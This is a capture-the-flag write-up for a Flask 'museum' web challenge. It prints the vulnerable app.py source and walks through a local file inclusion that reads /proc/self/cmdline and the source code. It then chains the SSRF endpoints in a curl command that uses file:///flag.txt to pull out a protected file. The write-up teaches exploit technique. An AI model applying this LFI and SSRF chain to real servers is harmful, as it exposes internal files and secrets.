Difficulty: medium

Points: 469

Challenge

Challenge

The first part of this challenge was completed by my great teammates from Hacktback team.

Solution

Galery

The site consists of a gallery of museum art. A button invites you to submit to the museum, but the activity seems to be disabled. You can also view the museum’s pieces, such as this magnificent cat sculpture.

cat

After several minutes of searching, my teammates found a first very interesting vulnerability. A Local File Inclusion (LFI) is possible in the artifact parameter!

LFI

However, this LFI does not allow us to retrieve flag.txt. A filter prevents this. Let’s look for other interesting files. The file /proc/self/cmdline gives us information about the server, including the location of the source code file: /home/museum/app.py

cmdline

Once again, LFI provides us with the source code for challenge app.py

from flask import Flask, request, render_template, send_from_directory, send_file, redirect, url_for
import os
import urllib
import urllib.request

app = Flask(__name__)

@app.route('/')
def index():
    artifacts = os.listdir(os.path.join(os.getcwd(), 'public'))
    return render_template('index.html', artifacts=artifacts)

@app.route("/public/<file_name>")
def public_sendfile(file_name):
    file_path = os.path.join(os.getcwd(), "public", file_name)
    if not os.path.isfile(file_path):
        return "Error retrieving file", 404
    return send_file(file_path)

@app.route('/browse', methods=['GET'])
def browse():
    file_name = request.args.get('artifact')

    if not file_name:
        return "Please specify the artifact to view.", 400

    artifact_error = "<h1>Artifact not found.</h1>"

    if ".." in file_name:
        return artifact_error, 404

    if file_name[0] == '/' and file_name[1].isalpha():
        return artifact_error, 404
    
    file_path = os.path.join(os.getcwd(), "public", file_name)
    if not os.path.isfile(file_path):
        return artifact_error, 404

    if 'flag.txt' in file_path:
        return "Sorry, sensitive artifacts are not made visible to the public!", 404

    with open(file_path, 'rb') as f:
        data = f.read()

    image_types = ['jpg', 'png', 'gif', 'jpeg']
    if any(file_name.lower().endswith("." + image_type) for image_type in image_types):
        is_image = True
    else:
        is_image = False

    return render_template('view.html', data=data, filename=file_name, is_image=is_image)

@app.route('/submit')
def submit():
    return render_template('submit.html')

@app.route('/private_submission_fetch', methods=['GET'])
def private_submission_fetch():
    url = request.args.get('url')

    if not url:
        return "URL is required.", 400

    response = submission_fetch(url)
    return response

def submission_fetch(url, filename=None):
    return urllib.request.urlretrieve(url, filename=filename)

@app.route('/private_submission')
def private_submission():
    if request.remote_addr != '127.0.0.1':
        return redirect(url_for('submit'))

    url = request.args.get('url')
    file_name = request.args.get('filename')

    if not url or not file_name:
        return "Please specify a URL and a file name.", 400

    try:
        submission_fetch(url, os.path.join(os.getcwd(), 'public', file_name))
    except Exception as e:
        return str(e), 500

    return "Submission received.", 200

if __name__ == '__main__':
    app.run(debug=False, host="0.0.0.0", port=5000)

Two new endpoints catch our attention:

  • /private_submission_fetch
  • /private_submission

These endpoints are used to force the server to make HTTP requests. This is a new Server Side Request Forgery (SSRF) vulnerability.

/private_submission_fetch

This endpoint can be used to force the user to make a request to the outside world. You can check that this is a SSRF by creating a requestbin.

curl pastebin

/private_submission

This endpoint is similar to the previous one, but there are two differences: The return request will be saved on the server at the location given by the filename parameter. The request must absolutely come from the local IP address 127.0.0.1. It is therefore impossible to call it directly.

Exploit

You’ll need to combine these two endpoints to retrieve the contents of flag.txt.

schema

We will call /private_submission_fetch to ask the server to send a request to himself to /private_sbmission to retrieve the file /flag.txt and save it with a different name in the destination /tmp/fl4g.txt. Then we can read the flag with the LFI vulnerability. Usually flask server always run on the port 5000.

Let’s build this request:

curl http://challenge.nahamcon.com:32057/private_submission_fetch?url=http://localhost:5000/private_submission%3furl=file:///flag.txt%26filename=/tmp/fl4g.txt

We got it now !

flag